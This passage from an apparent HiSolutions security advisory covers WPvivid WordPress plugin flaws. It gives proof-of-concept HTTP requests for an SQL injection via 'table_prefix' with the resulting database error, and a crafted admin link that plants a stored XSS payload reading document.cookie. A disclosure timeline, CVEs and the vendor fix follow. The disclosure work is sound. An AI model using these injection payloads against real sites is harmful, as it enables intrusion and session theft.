Host: myblog.hisocorp.com
[…]
Content-Type: application/x-www-form-urlencoded

 
path=something&additional_db={"test":"test"}&custom_dir={"database_check":1}&table_prefix=test'

Subsequently, the status must be queried once via the function wpvividstg_get_staging_progress_free:

POST /wordpress/wp-admin/admin-ajax.php?action=wpvividstg_get_staging_progress_free HTTP/1.1
Host: myblog.hisocorp.com
Content-Type: application/x-www-form-urlencoded

It may happen that the status has to be queried several times until the following response containing the SQL exception is returned:

{"continue":0,"error":1,"error_msg":"Failed to create a table. Error:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '` (\n  `meta_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,\n  `comment_id` b...' at line 1, query:CREATE TABLE `test'commentmeta` (\n  `meta_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,\n  `comment_id` bigint(20) unsigned NOT NULL DEFAULT 0,\n  `meta_key` varchar(255) DEFAULT NULL,\n  `meta_value` longtext DEFAULT NULL,\n  PRIMARY KEY (`meta_id`),\n  KEY `comment_id` (`comment_id`),\n  KEY `meta_key` (`meta_key`(191))\n) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4","log":"open log file failed","percent":50,"result":"success"}

Update: Here, the vendor fix in version 0.9.69 is the same as for the previous vulnerability. The wpvividstg_get_staging_progress_free action was simply disabled by commenting it out in includes/staging/class-wpvivid-staging.php, see here.

Stored Cross Site Scripting (XSS) in WPvivid

Update: This vulnerability was also independently discovered and reported by another researcher and was assigned CVE-2021-24994 (published during the responsible disclosure process, see here).

The plugin offers remote storage on a Google Drive. For this, an account (called Google Drive Remote Storage Account) for the corresponding authentication must be provided. The name of the specified account is included partially unfiltered in an onclick JavaScript area within the plugin. This means that arbitrary HTML and JavaScript code can be injected. This behavior allows stored XSS attacks via the plugin web interface.

When a logged in WordPress administrator executes the following link, an account with the specified name is automatically stored in the plugin:

http://myblog.hisocorp.com/wp-admin/admin.php?page=WPvivid&action=wpvivid_google_drive_finish_auth&name=test2%22%20onload%3dalert(document.cookie)%3E&default=lll%27%22lll&auth_id

The payload passed in this example adds the JavaScript attribute onload, which is used to display the session cookies in an alert box:

Responsible Disclosure Timeline

  • 15.12.2021 – HiSolutions identified the vulnerabilities
  • 14.01.2022 – HiSolutions contaced WPvivid Team via contact form
  • 20.01.2022 – WPvivid Team responds and HiSolutions sends the details regarding the vulnerabilities
  • 14.02.2022 – WPvivid Team provides the new version 0.9.69 in which the vulnerabilities should be fixed
  • 01.03.2022 – HiSolutions tests the new version. The vulnerabilities were fixed.
  • 29.02.2024 – The Wordfence CNA issues CVE-2024-1981 and CVE-2024-1982.

Credits

The vulnerabilities were found by Denis Werner (HiSolutions AG). The fixes were reviewed by David Mathiszik (HiSolutions AG).